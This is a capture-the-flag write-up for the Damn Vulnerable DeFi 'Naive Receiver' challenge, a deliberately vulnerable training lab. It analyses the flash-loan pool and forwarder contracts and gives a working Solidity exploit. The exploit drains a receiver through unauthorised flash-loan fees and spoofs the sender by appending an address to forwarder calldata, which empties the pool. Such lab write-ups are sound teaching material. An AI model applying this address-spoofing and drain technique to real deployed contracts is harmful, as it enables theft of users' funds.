# Damn Vulnerable DeFi V4 - Naive Receiver [toc] # Intro https://www.damnvulnerabledefi.xyz/challenges/naive-receiver/ There’s a pool with 1000 WETH in balance offering flash loans. It has a fixed fee of 1 WETH. The pool supports meta-transactions by integrating with a permissionless forwarder contract. A user deployed a sample contract with 10 WETH in balance. Looks like it can execute flash loans of WETH. All funds are at risk! - Rescue all WETH from the user and the pool, and deposit it into the designated recovery account. # Source code Code file https://github.com/theredguild/damn-vulnerable-defi/tree/v4.0.0/src/naive-receiver Test file https://github.com/theredguild/damn-vulnerable-defi/blob/v4.0.0/test/naive-receiver/NaiveReceiver.t.sol - Finish the test ```sol /** * CODE YOUR SOLUTION HERE */ function test_naiveReceiver() public checkSolvedByPlayer { } ``` <br> # Analysis ## Win condition At the test file, check the `is_solved()` condition - Player must have executed two or less transactions - The flashloan receiver contract has been emptied - Pool is empty too - All funds sent to recovery account ```solidity /** * CHECKS SUCCESS CONDITIONS - DO NOT TOUCH */ function _isSolved() private view { // Player must have executed two or less transactions assertLe(vm.getNonce(player), 2); // The flashloan receiver contract has been emptied assertEq(weth.balanceOf(address(receiver)), 0, "Unexpected balance in receiver contract"); // Pool is empty too assertEq(weth.balanceOf(address(pool)), 0, "Unexpected balance in pool"); // All funds sent to recovery account assertEq(weth.balanceOf(recovery), WETH_IN_POOL + WETH_IN_RECEIVER, "Not enough WETH in recovery account"); } ``` <br> ## Drainer the `receiver` - There's no `receiver` condition check, means anyone can start flashLoan as the receiver's behave - The `FIXED_FEE` = `1 ether` when the `receiver` payback the flashLoan - **So run 10 times should able to drain the receiver's funds** ```solidity=43 // NaiveReceiverPool.sol function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data) external returns (bool) { if (token != address(weth)) revert UnsupportedCurrency(); // Transfer WETH and handle control to receiver weth.transfer(address(receiver), amount); totalDeposits -= amount; if (receiver.onFlashLoan(msg.sender, address(weth), amount, FIXED_FEE, data) != CALLBACK_SUCCESS) { revert CallbackFailed(); } uint256 amountWithFee = amount + FIXED_FEE; weth.transferFrom(address(receiver), address(this), amountWithFee); totalDeposits += amountWithFee; deposits[feeReceiver] += FIXED_FEE; return true; } ``` <br> ## Drain the pool - There's s customized check for the `msg.sender` - **It is a changable mseeage sender** - The real `msg.sender` has to be a `trustedForwarder` - If matched, it takes the last 20 bytes from `msg.data` as `msg.sender` and return - So to drain the pool, we have to run the `withdrawal` as pools behave ```solidity= // NaiveReceiverPool.sol function withdraw(uint256 amount, address payable receiver) external { // Reduce deposits deposits[_msgSender()] -= amount; totalDeposits -= amount; // Transfer ETH to designated receiver weth.transfer(receiver, amount); } ... function _msgSender() internal view override returns (address) { if (msg.sender == trustedForwarder && msg.data.length >= 20) { return address(bytes20(msg.data[msg.data.length - 20:])); } else { return super._msgSender(); } } ``` <br> ## BasicForwarder contract This is a EIP712 contract with the ability to validate/execute the `Request` struct - With the EIP712, we can combine milti-transction into one - To run the `Request` struct, you have to generate a signature Noticible, we are able to customise the `from` and the `msg.callData` ```sol= // BasicForwarder.sol struct Request { address from; address target; uint256 value; uint256 gas; uint256 nonce; bytes data; uint256 deadline; } ... function execute(Request calldata request, bytes calldata signature) public payable returns (bool success) { _checkRequest(request, signature); nonces[request.from]++; uint256 gasLeft; uint256 value = request.value; // in wei address target = request.target; bytes memory payload = abi.encodePacked(request.data, request.from); uint256 forwardGas = request.gas; assembly { success := call(forwardGas, target, value, add(payload, 0x20), mload(payload), 0, 0) // don't copy returndata gasLeft := gas() } if (gasLeft < request.gas / 63) { assembly { invalid() } } } ``` <br> ## Enumeration The `deployer` is the same with `feeReceiver` NaiveReceiver.t.sol ```sol=46 // NaiveReceiver.t.sol // Deploy pool and fund with ETH pool = new NaiveReceiverPool{value: WETH_IN_POOL}( address(forwarder), payable(weth), deployer ); ``` NaiveReceiverPool.sol file ```sol= // NaiveReceiverPool.sol constructor(address _trustedForwarder, address payable _weth, address _feeReceiver) payable { weth = WETH(_weth); trustedForwarder = _trustedForwarder; feeReceiver = _feeReceiver; _deposit(msg.value); } ``` <br> This 2 values are the same. Since the `feeReceiver` has money in the mapping, this help us fulfills the following - `deposits[_msgSender()] -= amount;` won't underflow - `trustedForwarder` requirement (since the true `msg.sender` will be forwarder, able to pass the check) ```sol= function flashLoan(IERC3156FlashBorrower receiver, address token, uint256 amount, bytes calldata data) external returns (bool) { ... uint256 amountWithFee = amount + FIXED_FEE; weth.transferFrom(address(receiver), address(this), amountWithFee); totalDeposits += amountWithFee; deposits[feeReceiver] += FIXED_FEE; return true; } ... function withdraw(uint256 amount, address payable receiver) external { // Reduce deposits deposits[_msgSender()] -= amount; totalDeposits -= amount; // Transfer ETH to designated receiver weth.transfer(receiver, amount); } ... function _msgSender() internal view override returns (address) { if (msg.sender == trustedForwarder && msg.data.length >= 20) { return address(bytes20(msg.data[msg.data.length - 20:])); } else { return super._msgSender(); } } ``` <br> # Attack ## How to attack? Following are the win condition with the method to fulfill - Player must have executed two or less transactions - Use `multi-call` - 10 flash loans - `receiver` as the receive address - 1 withdrawal to `player` - Put the `deployer` address in `callData` - Prepare the signature - The flashloan receiver contract has been emptied - Execute 10 times flash loan as receiver's behave - Pool is empty too - `withdrawal()` to the `player` in the last multi-call - All funds sent to recovery account - `player` transfer to the `recovery` <br> ```solidity= import {IERC3156FlashBorrower} from "@openzeppelin/contracts/interfaces/IERC3156FlashBorrower.sol"; ... /** * CODE YOUR SOLUTION HERE */ function test_naiveReceiver() public checkSolvedByPlayer { // This is for old question (V3) only require to drain the receiver's address // console.log(weth.balanceOf(address(receiver))); // for (int i = 0; i < 10; i++) { // pool.flashLoan( // IERC3156FlashBorrower(receiver), // address(weth), // 1 ether, // bytes("") // ); // } // console.log(weth.balanceOf(address(pool))); // weth.transfer(recovery, 1 ether); // pool.withdraw(weth.balanceOf(address(pool)), payable(recovery)); // console.log(weth.balanceOf(address(receiver))); // --------------------------------------- // First call, drain the receiver bytes memory call1 = abi.encodeCall( pool.flashLoan, (IERC3156FlashBorrower(receiver), address(weth), 1 ether, bytes("")) ); // Second call, send the funds as pool's behave via forwarder uint256 total = WETH_IN_POOL + WETH_IN_RECEIVER; bytes memory call2 = abi.encodePacked( abi.encodeCall(pool.withdraw, (total, payable(player))), deployer // msg.Data to bypass the _msgSender() //deployer 和 feeReceiver 是同一个地址 ); // prepare the multi-call in data array bytes[] memory data = new bytes[](11); for (uint256 i = 0; i < 10; ++i) { data[i] = call1; } data[10] = call2; // Construte the request BasicForwarder.Request memory request = BasicForwarder.Request({ from: player, target: address(pool), value: 0, gas: 1000000, nonce: 0, data: abi.encodeCall(pool.multicall, (data)), deadline: block.timestamp }); // prepare the signature bytes32 digest = keccak256( abi.encodePacked( "\x19\x01", forwarder.domainSeparator(), forwarder.getDataHash(request) ) ); (uint8 v, bytes32 r, bytes32 s) = vm.sign(playerPk, digest); bytes memory signature = abi.encodePacked(r, s, v); // Call the forwarder forwarder.execute(request, signature); // Send the funds to the recovery address weth.transfer(recovery, total); } ``` <br> # Reference https://blog.openzeppelin.com/arbitrary-address-spoofing-vulnerability-erc2771context-multicall-public-disclosure